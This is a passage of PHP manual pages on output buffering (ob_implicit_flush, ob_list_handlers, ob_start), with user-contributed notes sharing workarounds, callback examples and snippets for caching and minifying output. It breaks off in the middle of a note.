You can also get the unbuffered output with Linux/Apache without having to do the implicit flush after each line by calling:

ob_implicit_flush(true);
ob_end_flush();

...at the start of the script.
Paul Yanchenko 22-Jan-2006 01:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com 18-Aug-2003 11:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com 07-Jul-2003 09:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...


List all output handlers in use

  • « ob_implicit_flush
  • ob_start »
  • PHP Manual
  • Output Control Functions
  • List all output handlers in use

ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5)

ob_list_handlers — List all output handlers in use

Description

array ob_list_handlers ( void )

Lists all output handlers in use.

Return Values

This will return an array with the output handlers in use (if any). If output_buffering is enabled or an anonymous function was used with ob_start(), ob_list_handlers() will return "default output handler".

Examples

Example #1 ob_list_handlers() example

<?php
//using output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// anonymous functions
ob_start(function($string) { return $string; });
print_r(ob_list_handlers());
ob_end_flush();
?>

The above example will output:

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => Closure::__invoke
)

See Also

  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_get_flush() - Flush the output buffer, return it as a string and turn off output buffering
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.


Turn on output buffering

  • Â« ob_list_handlers
  • output_add_rewrite_var Â»
  • PHP Manual
  • Output Control Functions
  • Turn on output buffering

ob_start

(PHP 4, PHP 5)

ob_start — Turn on output buffering

Description

bool ob_start ([ callable $output_callback = NULL [, int $chunk_size = 0 [, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ]]] )

This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.

The contents of this internal buffer may be copied into a string variable using ob_get_contents(). To output what is stored in the internal buffer, use ob_end_flush(). Alternatively, ob_end_clean() will silently discard the buffer contents.

Warning

Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by e.g. chdir(dirname($_SERVER['SCRIPT_FILENAME'])) in the callback function.

Output buffers are stackable, that is, you may call ob_start() while another ob_start() is active. Just make sure that you call ob_end_flush() the appropriate number of times. If multiple output callback functions are active, output is being filtered sequentially through each of them in nesting order.

Parameters

output_callback

An optional output_callback function may be specified. This function takes a string as a parameter and should return a string. The function will be called when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request. When output_callback is called, it will receive the contents of the output buffer as its parameter and is expected to return a new output buffer as a result, which will be sent to the browser. If the output_callback is not a callable function, this function will return FALSE. This is the callback signature:

string handler ( string $buffer [, int $phase ] )
buffer
Contents of the output buffer.
phase
Bitmask of PHP_OUTPUT_HANDLER_* constants.

If output_callback returns FALSE original input is sent to the browser.

The output_callback parameter may be bypassed by passing a NULL value.

ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() and ob_start() may not be called from a callback function. If you call them from callback function, the behavior is undefined. If you would like to delete the contents of a buffer, return "" (a null string) from callback function. You can't even call functions using the output buffering functions like print_r($expression, true) or highlight_file($filename, true) from a callback function.

Note:

In PHP 4.0.4, ob_gzhandler() was introduced to facilitate sending gz-encoded data to web browsers that support compressed web pages. ob_gzhandler() determines what type of content encoding the browser will accept and will return its output accordingly.

chunk_size

If the optional parameter chunk_size is passed, the buffer will be flushed after any output call which causes the buffer's length to equal or exceed chunk_size. The default value 0 means that the output function will only be called when the output buffer is closed.

Prior to PHP 5.4.0, the value 1 was a special case value that set the chunk size to 4096 bytes.

flags

The flags parameter is a bitmask that controls the operations that can be performed on the output buffer. The default is to allow output buffers to be cleaned, flushed and removed, which can be set explicitly via PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE, or PHP_OUTPUT_HANDLER_STDFLAGS as shorthand.

Each flag controls access to a set of functions, as described below:

Constant | Functions
PHP_OUTPUT_HANDLER_CLEANABLE | ob_clean(), ob_end_clean(), and ob_get_clean().
PHP_OUTPUT_HANDLER_FLUSHABLE | ob_end_flush(), ob_flush(), and ob_get_flush().
PHP_OUTPUT_HANDLER_REMOVABLE | ob_end_clean(), ob_end_flush(), and ob_get_flush().

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.4.0 | The third parameter of ob_start() changed from a boolean parameter called erase (which, if set to FALSE, would prevent the output buffer from being deleted until the script finished executing) to an integer parameter called flags. Unfortunately, this results in an API compatibility break for code written prior to PHP 5.4.0 that uses the third parameter. See the flags example for an example of how to handle this with code that needs to be compatible with both.
5.4.0 | A chunk size of 1 now results in chunks of 1 byte being sent to the output buffer.
4.3.2 | This function was changed to return FALSE in case the passed output_callback can not be executed.

Examples

Example #1 User defined callback function example

<?php

function callback($buffer)
{
  // replace all the apples with oranges
  return (str_replace("apples", "oranges", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>It's like comparing apples to oranges.</p>
</body>
</html>
<?php

ob_end_flush();

?>

The above example will output:

<html>
<body>
<p>It's like comparing oranges to oranges.</p>
</body>
</html>

Example #2 Creating an uneraseable output buffer in a way compatible with both PHP 5.3 and 5.4

<?php

if (version_compare(PHP_VERSION, '5.4.0', '>=')) {
  ob_start(null, 0, PHP_OUTPUT_HANDLER_STDFLAGS ^
    PHP_OUTPUT_HANDLER_REMOVABLE);
} else {
  ob_start(null, 0, false);
}

?>

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_implicit_flush() - Turn implicit flush on/off
  • ob_gzhandler() - ob_start callback function to gzip output buffer
  • ob_iconv_handler() - Convert character encoding as output buffer handler
  • mb_output_handler() - Callback function converts character encoding in output buffer
  • ob_tidyhandler() - ob_start callback function to repair the buffer

User Contributed Notes

brad at wpsites dot net 14-Sep-2014 09:06
When creating a shortcode i've seen code which uses the callback function however its not always needed as this example demonstrates:
<?php
function wpsites_comment_form_shortcode() {
    ob_start();
    comment_form();
    $cform = ob_get_contents();
    ob_end_clean();
    return $cform;
 }
?>
Shen 27-Oct-2013 02:21
<?php
ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_flush();
$phpinfo = str_replace('a', 'b', $phpinfo);
echo $phpinfo;
?>
David Spector 04-Oct-2013 05:23
Function ob_start can capture all normal output, assuming no errors occur. Naturally, the programmer will want to know whether errors can also be caught (that is, captured and logged). The answer is that warnings can be caught along with normal output, but that fatal errors and exceptions break the normal buffering and can only be caught separately. Finally, parsing errors cannot be caught at all, because parsing is done in a first pass before execution begins. Of course, even parsing errors can be caught by running PHP in a separate process and capturing the output of that process.

Here is an example that illustrates all these additional details (see also the comment by Philip at set_error_handler function). Those errors that break buffering can be illustrated by uncommenting their lines.

<?php
ob_start(); // Start output buffering
function exception_handler($exc)
    {
    // Catch thrown exceptions break output buffering
    exit("Uncaught exception: ".$exc->getMessage());
    } // exception_handler
set_exception_handler('exception_handler');

function shutdown_function()
    {
    // Catch fatal errors that break output buffering
    $error=error_get_last();
    if ($error["type"]==E_ERROR)
        echo "Uncaught fatal error: ".$error["message"];
    } // shutdown_function
register_shutdown_function("shutdown_function");

// Demonstrate normal output
echo 'This is normal output, caught okay';

// Demonstrate a warning
$DivisionByZeroWarningCaughtOkay=3/0;

// Demonstrate a fatal error
//UndefinedFunctionFatalErrorCanBeCaughtSeparately();

// Demonstrate a parsing error
//$x=FatalParse@ErrorCannotBeCapturedAtAll

// Complete capturing normal output
$Out=ob_get_contents();
ob_end_clean();

// Demonstrate a thrown exception
//throw new Exception('Exception Can Be Caught Separately');

echo "All captured output:<p>".$Out;
exit(0);
?>
jhlavon 19-Jun-2013 09:47
When used in constructor part of class it have to be prefixed by "self::" or by classname, else PHP fails to create buffer.

function __construct ()
{

$bo = ob_start ("self::callback_ob") ;
...
}
me at haravikk dot com 20-Jun-2012 04:26
I think it's worth noting that while you can't call any output functions such as echo or print from within a callback function, you can still send headers (presumably including cookies, haven't checked). Of course this only works in the first callback, like so:

<?php

function myCallback($buffer, $flags) {
    if ($flags & PHP_OUTPUT_HANDLER_START) {
        header('Server: LastMinuteHeaderServer');
    }
}

ob_start('myCallback');
echo "Hello World!";
ob_end_flush();

?>

Not the most inspiring example, but in this case the code is able to sneak a last-minute header in before the headers part of the response is sent. This can be handy if you want to avoid replacing header values that are uncertain.

For example if your code may return an image, but you don't want to set content type until you're sure that the image can be sent successfully, you can use the callback to leave the decision right until the very last moment, by which point you're hopefully sure of what's being sent in the HTTP body.
mchojrin at gmail dot com 30-May-2012 11:23
Just a word of warning to those like myself who are upgrading from 5.3. I have a piece of code that used to work:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : '' ) ) {
    ob_start();
}
?>

Which is not working anymore (I get an error like: Warning: ob_start(): function '' not found or invalid function name).

It's easily fixed though, just changed the '' to a null, like this:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : null ) ) {
    ob_start();
}
?>

Which preserves the code intention but works :)
Filip Dalge 22-Mar-2012 09:24
When a fatal error is thrown, PHP will output the current buffer of Output-Control without postprocessing before printing the error message. If you are working with several output control levels, this might not result in the desired behavior.

You can use an output callback handler to handle this and discard the output.

Therefore, use ob_start("ob_error_handler") in connection with the following:

function ob_error_handler($str) {
    $error = error_get_last();
    if ($error && $error["type"] == E_USER_ERROR || $error["type"] == E_ERROR) {
        return ini_get("error_prepend_string").
          "\nFatal error: $error[message] in $error[file] on line $error[line]\n".
          ini_get("error_append_string");
    }
    return $str;
}
loksly at gmail dot com 24-Oct-2011 02:30
It's easy to add a function that caches the whole page you're going to generate so resources are saved. I wrote it in a file called "cacheable.php", and I included in each file that I want to be cached. It cannot manage files with ob_start inside.

Here is the code:
file "cacheable.php":
----------------------------------
<?php
    global $cachefile;

    $cachefilename = urlencode($_SERVER['REQUEST_URI'])."-".md5($_SERVER['REQUEST_URI']);

    $cachefile = sys_get_temp_dir ().DIRECTORY_SEPARATOR.$cachefilename.'.cache';

    // How long to keep cache file?
    $cachetime = 60*5;    //5min

    // Is cache file still fresh? If so, serve it.
    if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile)) {
      readfile($cachefile);
      exit;
    }

    function cacheOutputtoFile()
    {
        global $cachefile;
        $webpage = ob_get_contents();
        if ($fp = fopen($cachefile, 'w+'))
        {
            if (flock($fp, LOCK_EX))
            { // do an exclusive lock
                ftruncate($fp, 0); // truncate file
                //compress unnecesary spaces
                $busca = array('/\>[^\S ]+/s','/[^\S ]+\</s','/(\s)+/s');
                $reemplaza = array('>','<','\\1');
                $webpage = preg_replace($busca, $reemplaza, $webpage);

                fwrite($fp, $webpage);
                fclose($fp);
            }
        }
        echo $webpage;
    }

    ob_start();
    register_shutdown_function("cacheOutputtoFile");

//note you must use register_shutdown_function instead of using "cacheOutputtoFile" as parameter of ob_start as socket is already closed when callback function is called, then the client not get the echo $webpage output.
?>

----------------------------------
usage:

<?php
require_once(realpath(dirname(__FILE__).DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR."cacheable.php");
?>
----------------------------------
Anonymous 08-Feb-2011 04:32
In case you're in for some readable representation for flags, this is a variant as a private class member:

<?php
class foo {
    private function getFlagsReadable($flags) {
        $flagNames = array('PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END');
        $readable = '';
        foreach($flagNames as $flagName)
            if ($flags & constant($flagName) )
                $readable .= (strlen($readable) ? ' | ' : '') . $flagName
            ;
        return $readable;
    }
}
?>
Chris 25-Nov-2010 01:35
Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering.

If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob.

For instance:
<?php
  ob_start();
  myClass::renderPng(); //header("Content-Type: image/png"); in here
  $pngString = ob_get_contents();
  ob_end_clean();
?>

will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does.

You need to set the correct image type (text/html) manually in this case.
Bitwise 21-Oct-2009 09:41
There is no start flag problem. One just has to notice that the second parameter is not a mode but consists of bitwise-OR'ed flags.

<?php
function ob_handler($string, $flags) {
        static $input = array();
        if ( $flags & PHP_OUTPUT_HANDLER_START )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_START";
        if ( $flags & PHP_OUTPUT_HANDLER_CONT )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_CONT";
        if ( $flags & PHP_OUTPUT_HANDLER_END )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_END";
        $input[] = implode(' | ', $flags_sent) . " ($flags): $string<br />";
        $output  = "$string<br />";
        if ( $flags & PHP_OUTPUT_HANDLER_END ) {
                $output .= '<br />';
                foreach($input as $k => $v) $output .= "$k: $v";
        }
        return $output;
}

ob_start('ob_handler');

echo 'flush';
ob_flush();

echo 'flush 2';
ob_flush();

echo 'clean';
ob_clean();

echo 'flush 3';
ob_flush();

echo 'end flush';
ob_end_flush();
?>

flush
flush 2
flush 3
end flush

0: PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_CONT (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush
clancy hood at gmail dot com 20-Sep-2009 02:31
With ob callback: note that the second parameter sent to your method won't help you differentiate between flush calls and calls to ob_clean, but the buffer contents is sent in both cases, so you end up parsing data that isn't going to be used. Also, note that the constant PHP_OUTPUT_HANDLER_START is never actually sent, rather the integer "3" turns up on first flush:
<?php

    function ob_handler($string, $flag){
        static $input = array();
        $done = false;
        switch($flag){
            case PHP_OUTPUT_HANDLER_START:
                $flag_sent = "PHP_OUTPUT_HANDLER_START ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_CONT:
                $flag_sent = "PHP_OUTPUT_HANDLER_CONT ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_END:
                $done = true;
                $flag_sent = "PHP_OUTPUT_HANDLER_END ($flag)";
                break;
            default:
                $flag_sent = "Flag is not a constant ($flag)";
        }
        $input[] = "$flag_sent: $string<br />";
        $output = "$string<br />";
        if(!$done) return $output;
        // print_r($input, 1) causes an error and var_export just doesn't work
        $output .= '<br />';
        foreach($input as $k=>$v) $output .= "$k: $v";
        return $output;
    }

    ob_start('ob_handler');

    echo 'flush';
    ob_flush();

    echo 'flush 2';
    ob_flush();

    echo 'clean';
    ob_clean();

    echo 'flush 3';
    ob_flush();

    echo 'end flush';
    ob_end_flush();
?>
â€‰
flush
flush 2
flush 3
end flush

0: Flag is not a constant (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush

I suppose the START flag problem *may* be a bug but I'm not able to upgrade before reporting since I must have the same version as my server (I'm on PHP 5.2.6). If anyone has 5.2.11 or other stable version feel free to test/report as you see fit.
mariusads at helpedia dot com 03-Jul-2009 12:02
Make sure the editor you use does not add the UTF8/UTF16 BOM at the start of the scripts if you want to use ob_start("ob_gzhandler");

If those three characters are present, browsers like Firefox won't be able to decode the pages and will report:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

Google Chrome will simply report "Error 2 (net::ERR_FAILED): Unknown error."

With the ob_start command commented out, the page is successfully load and the browser will usually detect the BOM and not show it on the page, so everything's hard to debug.
robin 17-Apr-2009 03:53
When using brame buffer from time to time, you can see this warning
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent
One of the many reasons may be in bad encoding of document. My experience, the document had header of utf-8 encoding but in fact it was win1252. After reconding to the utf-8 warning has disapeard.
cj at ceejayoz dot com 29-Dec-2008 05:45
Note that since PHP 5.1.x, all objects have their destructors called before the output buffer callback function executes. Thus, globalised objects will not be available as expected in the function.

This is stated to be intended behaviour, per http://bugs.php.net/bug.php?id=40104
codextasy at gmail dot com 19-Sep-2008 10:26
There is a difference between the documentation and real callback functions invocation.
Manual says: "The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request."

Actually, the callback function, once set by ob_start(), will be called regardless.
Here are the functions that invoke callback function immediately:
ob_clean
ob_end_clean
ob_end_flush
ob_flush
ob_get_clean

BUT only two of them return the result returned by the callback (ob_end_flush, ob_flush), other functions discard it.

At the end of the request, even if none of the functions listed above is called, the callback will be called anyway, and its result will be returned to the browser (well, at least this is corresponding to the manual).

There is one more trick:
If you set callback function with chunk_size > 1, callback function will be called each time output buffer is equal or exceeds chunk_size and its result will be output to the browser, even if you call any of ob_clean(), ob_end_clean(), ob_get_clean() later, so be aware of this fact.
fordiman at gmail dot com 27-Jun-2008 06:35
Here's a nifty function I use daily.  Essentially: include a PHP file - but render its output to a variable, rather than to the buffer.  It's also set up to load the script with a variable set, and automagically loads globals into the script's namespace, making it an effective templating scheme.  It also has error handling, so that you're not flying blind when using output buffering.

<?php
$GLOBALS['BufferedErrors']=Array();
function errorParse($errno, $errstr, $errfile, $errline, $errcontext) {
    $errorTypes = Array(
        E_ERROR => 'Fatal Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_CORE_ERROR => 'Fatal Core Error',
        E_CORE_WARNING => 'Core Warning',
        E_COMPILE_ERROR => 'Compilation Error',
        E_COMPILE_WARNING => 'Compilation Warning',
        E_USER_ERROR => 'Triggered Error',
        E_USER_WARNING => 'Triggered Warning',
        E_USER_NOTICE => 'Triggered Notice',
        E_STRICT => 'Deprecation Notice',
        E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
    );
    $ret=(object)Array(
        'number'=>$errno,
        'message'=>$errstr,
        'file'=>$errfile,
        'line'=>$errline,
        'context'=>$errcontext,
        'type'=>$errorTypes[$errno]
    );
    $GLOBALS['BufferedErrors'][]=$ret;
    return false;
}
function parse($fileToInclude, $argumentsToFile=false) {
    $bufferedErrorStack = $GLOBALS['BufferedErrors'];
    set_error_handler('errorParse', error_reporting());
    $GLOBALS['BufferedErrors']=Array();

    if (!file_exists($fileToInclude))
        return '';
    if ($argumentsToFile === false)
        $argumentsToFile = Array();
    $argumentsToFile = array_merge($GLOBALS, $argumentsToFile);
    foreach ($argumentsToFile as $variableName => $variableValue)
        $$variableName = $variableValue;
    ob_start();
    include($fileToInclude);
    $ret = ob_get_contents();
    ob_end_clean();

    restore_error_handler();
    $errors = $GLOBALS['BufferedErrors'];
    $GLOBALS['BufferedErrors'] = $bufferedErrorStack;
    if (count($errors)>0) {
        $ret.='<ul class="error">';
        foreach ($errors as $error)
            $ret.=
                '<li>'.
                    '<b>'.$error->type.'</b>: '.
                    $error->message.
                    '<blockquote>'.
                        '<i>file</i>: '.$error->file.'<br />'.
                        '<i>line</i>: '.$error->line.
                    '</blockquote>'.
                '</li>';
        $ret.='</ul>';
    }
    return $ret;
}
coldshine at gmail dot com 07-Apr-2008 08:52
Referring to dan at roteloftet dot com's comment:

RFC 2616 (HTTP) specifies a "transparent" Content-Encoding, "identity" (Â§ 3.5), that nicely suits what you tried to do with the (invalid) "None". So this equally working, and it's also RFC-compliant:

<?php
header('Content-Encoding: identity', true);
?>
dan at roteloftet dot com 09-Mar-2008 11:19
Some web hosting servers (mine do, at least) have in their php.ini the following setting:
output_handler = ob_gzhandler

This proved problematic for php-scripts which returns an image or a binary file in general, since there is no way to determine the content length of the compressed file.

Since I spent a lot of time scouring the net searching for a work-around (.htaccess-modifications were out of the picture for various reasons), I found this to work nicely to cancel out the ob_gzhandler specified in the php.ini:

<?php
while (ob_get_level())
        ob_end_clean();
header("Content-Encoding: None", true);
?>

Put this at the top of the script before anything else is written to the page, and the script result will not be compressed.
dale3h 10-Jan-2008 04:06
Here's a simple way, using register_shutdown_function, to easily maintain your global output filter:

File: outputfilter.inc.php
<?php
  initOutputFilter();

  function initOutputFilter() {
    ob_start('cbOutputFilter');
    register_shutdown_function('ob_end_flush');
  }

  function cbOutputFilter($output) {
    $search  = array(
      'user@domain.com',
      'user2@domain.com',
    );
    $replace = array(
      '<img src="/images/nospam001.jpg" border="0" alt="" />',
      '<img src="/images/nospam002.jpg" border="0" alt="" />',
    );

    return str_replace($search, $replace, $output);
  }
?>

Just include it in your global file, or in each file you want to filter.

This one in particular replaces any occurrence of "user@domain.com" or "user2@domain.com" with an image (that contains each email respectively), preventing spam bots from picking it up.
Eamon Straughn eamon at gizzle dot co dot uk 27-Dec-2007 08:06
In regards to below. The best thing to do is create an error handler that catches all non-fatal errors prior and during your ob_start.

works for me all the time. and if there is an error you can format the errors in that script it executed in. From my experience i'm quite sure that would be the most logical choice. wouldn't it? Plus your using objects...Please do think before you can code.

Always plan else you'll be working blind. Anyways ob_start wouldn't exit;

Just plan ahead and anticipate. It's just like driving a car.. Happy new year.
Anonymous 22-Oct-2007 03:40
As a follow up to my previous post :
(output seems to go to standard ouptput in command  line mode even with the use of output buffering (ob_start) )

Setting implicit_flush to false seems to do the trick :

   ini_set('implicit_flush',false); // (avoids output even with    ob_start, in command line mode)
   ob_start();
   include (realpath(dirname(__FILE__))."/".$template);
   $ret_str.=ob_get_contents();
   ob_end_clean();
   ini_set('implicit_flush',true);

(See :
Chapter 43. Using PHP from the command line
)
Francois Hill 22-Oct-2007 02:42
Following clement dot ayme at st dot com 's remark :

In my experience it seems that the output IS buffered, but ALSO sent to the standard output !
Charlie Farrow 18-Oct-2007 06:49
Under certain freak conditions, when an error ocours perfoming an action on an object that cannot be done (either because the object does not exist or the method does not exist) inside of an ob_start() the script will exit and print everything the current function generates before the error, but nothing else, including no error message.

I am at a loss to why no error message appears and am trying to get a working example for the developers that is simpler than my whole program!

So if you are using ob_start() and you get no output, check your objects.... you have made a mistake on them somewhere. The only trouble is you will not know where as there is no error!!
Asher Haig (ahaig at ridiculouspower dot com) 20-Aug-2007 10:17
When a script ends, all buffered output is flushed (this is not a bug: http://bugs.php.net/bug.php?id=42334&thanks=4). What happens when the script throws an error (and thus ends) in the middle of an output buffer? The script spits out everything in the buffer before printing the error!

Here is the simplest solution I have been able to find. Put it at the beginning of the error handling function to clear all buffered data and print only the error:

$handlers = ob_list_handlers();
while ( ! empty($handlers) )    {
    ob_end_clean();
    $handlers = ob_list_handlers();
}
tracey AT archive DOT org 29-Mar-2007 10:01
Way to make all stdout and stderr write to a log
from *inside* a php script.
You simply need to make sure to call elog() every
once in awhile to get output.
It's a nice way to "daemonize" a script w.r.t. its logging.

// This allows us to capture all stdout and stderr (and error_log() calls)
// to this logfile...
// The "collected output" will be flushed anytime "elog()" is used...
ini_set("error_log", "/var/log/script.log");
ob_start();

function elog($str)
{
  // get anything written to stdout or stderr that did *NOT* use elog()
  // and write it now...
  $writeme = ob_get_contents();
  if ($writeme)
  {
    error_log($writeme);
    ob_end_clean();
    ob_start();
  }
  // now write message this method was called with
  error_log($str);
}
joebezucha at tlen dot pl 16-Mar-2007 11:05
Hi, I use those functions for stripping unnecessary chars in my output code...because I have JavaScript placed in outpout code so I don't remove \n\r\t but just replace them with single space (it could cause errors in scripts)
Function stripBufferSkipTextareaTags skips tags Textarea. It's needed to don't loose \n\r when user edit some content...

sorry for my english ;)

<?php

function stripBufferSkipTextareaTags($buffer){
    $poz_current = 0;
    $poz_end = strlen($buffer)-1;
    $result = "";

    while ($poz_current < $poz_end){
        $t_poz_start = stripos($buffer, "<textarea", $poz_current);
        if ($t_poz_start === false){
            $buffer_part_2strip = substr($buffer, $poz_current);
            $temp = stripBuffer($buffer_part_2strip);
            $result .= $temp;
            $poz_current = $poz_end;
        }
        else{
            $buffer_part_2strip = substr($buffer, $poz_current, $t_poz_start-$poz_current);
            $temp = stripBuffer($buffer_part_2strip);
            $result .= $temp;
            $t_poz_end = stripos($buffer, "</textarea>", $t_poz_start);
            $temp = substr($buffer, $t_poz_start, $t_poz_end-$t_poz_start);
            $result .= $temp;
            $poz_current = $t_poz_end;
        }
    }
    return $result;
}

function stripBuffer($buffer){
    // change new lines and tabs to single spaces
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t"), ' ', $buffer);
    // multispaces to single...
    $buffer = ereg_replace(" {2,}", ' ',$buffer);
    // remove single spaces between tags
    $buffer = str_replace("> <", "><", $buffer);
    // remove single spaces around &nbsp;
    $buffer = str_replace(" &nbsp;", "&nbsp;", $buffer);
    $buffer = str_replace("&nbsp; ", "&nbsp;", $buffer);
    return $buffer;
}

ob_start("stripBufferSkipTextareaTags");

?>
denis at SPAM_WELCOME dot i39 dot ru 13-Mar-2007 03:55
This function's behaviour  has been changed in php 5.2.0:

<?
global $AP;
$AP = new ap;
ob_start("ob_end");

function ob_end() {
        global $AP;
        $r = $AP->test();

        return $r;
}

class ap {
        function test() {
                return "debug";
        }
}
?>

In older versions it shows: "debug".
But latest php version causes error: PHP Fatal error: Call to a member function test() on a non-object.
And this is not a bug: http://bugs.php.net/bug.php?id=40104
Tobias Goldkamp 26-Dec-2006 12:02
I use this to strip unnecessary characters from HTML output:

<?php

function sanitize_output($buffer)
{
    $search = array(
        '/\>[^\S ]+/s', //strip whitespaces after tags, except space
        '/[^\S ]+\</s', //strip whitespaces before tags, except space
        '/(\s)+/s'  // shorten multiple whitespace sequences
        );
    $replace = array(
        '>',
        '<',
        '\\1'
        );
  $buffer = preg_replace($search, $replace, $buffer);
    return $buffer;
}

ob_start("sanitize_output");

?>
lucky760 at yahoo dot com 21-Nov-2006 06:20
Just for simplicity's sake (and because I had to rewrite it for use at http://www.VideoSift.com anyway), here's a very simplified, pre-PHP5 version. Just add one call to dump_css_cache() for each of your CSS files.

<?php

ob_start('ob_gzhandler');

header('Content-Type: text/css; charset: UTF-8');
header('Cache-Control: must-revalidate');

$expire_offset = 0; // set to a reaonable interval, say 3600 (1 hr)
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire_offset) . ' GMT');

function css_compress($buffer) {
  $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);// remove comments
  $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);// remove tabs, spaces, newlines, etc.
  $buffer = str_replace('{ ', '{', $buffer);// remove unnecessary spaces.
  $buffer = str_replace(' }', '}', $buffer);
  $buffer = str_replace('; ', ';', $buffer);
  $buffer = str_replace(', ', ',', $buffer);
  $buffer = str_replace(' {', '{', $buffer);
  $buffer = str_replace('} ', '}', $buffer);
  $buffer = str_replace(': ', ':', $buffer);
  $buffer = str_replace(' ,', ',', $buffer);
  $buffer = str_replace(' ;', ';', $buffer);
  return $buffer;
}

function dump_css_cache($filename) {
  $cwd = getcwd() . DIRECTORY_SEPARATOR;

  $stat = stat($filename);
  $current_cache = $cwd . '.' . $filename . '.' . $stat['size'] . '-' . $stat['mtime'] . '.cache';

  // the cache exists - just dump it
  if (is_file($current_cache)) {
    include($current_cache);
    return;
  }

  // remove any old, lingering caches for this file
  if ($dead_files = glob($cwd . '.' . $filename . '.*.cache', GLOB_NOESCAPE))
    foreach ($dead_files as $dead_file)
      unlink($dead_file);

  if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $contents) {
      $handle = fopen($filename, 'w');
      fwrite($handle, $contents);
      fclose($handle);
    }
  }

  $cache_contents = css_compress(file_get_contents($filename));
  file_put_contents($current_cache, $cache_contents);

  echo $cache_contents;
}

dump_css_cache('_general.css');

?>
lucky760 at yahoo dot com 21-Nov-2006 06:10
In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst.

With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes.

It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents.

Enjoy!

<?php

$CSS_FILES = array(
  '_general.css'
);

$css_cache = new CSSCache($CSS_FILES);
$css_cache->dump_style();

//
